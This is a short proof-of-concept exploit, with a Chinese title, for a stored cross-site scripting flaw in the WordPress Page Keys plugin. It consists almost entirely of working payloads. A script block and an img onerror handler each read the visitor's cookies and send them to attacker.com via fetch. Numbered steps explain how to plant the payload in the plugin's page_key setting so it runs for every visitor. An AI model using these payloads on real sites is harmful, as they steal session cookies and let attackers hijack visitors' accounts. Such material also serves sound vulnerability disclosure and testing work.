CVE-2025-15000 WordPress Page Keys插件存储型XSS漏洞

<!-- WordPress Page Keys Plugin XSS PoC --> <!-- Requires: Admin privileges, Multi-site or unfiltered_html disabled --> <!-- Malicious page_key payload --> <script> // Cookie stealing payload var cookie = document.cookie; fetch('https://attacker.com/steal?c=' + btoa(cookie), { mode: 'no-cors' }); </script> <!-- Alternative payload using event handlers --> <img src=x onerror="fetch('https://attacker.com/log?c='+document.cookie)"> <!-- Steps to exploit --> <!-- 1. Login as WordPress administrator --> <!-- 2. Navigate to Page Keys plugin settings --> <!-- 3. Create or edit a page key with XSS payload in the page_key parameter --> <!-- 4. Save the configuration --> <!-- 5. When any user visits pages with the malicious key, the script executes -->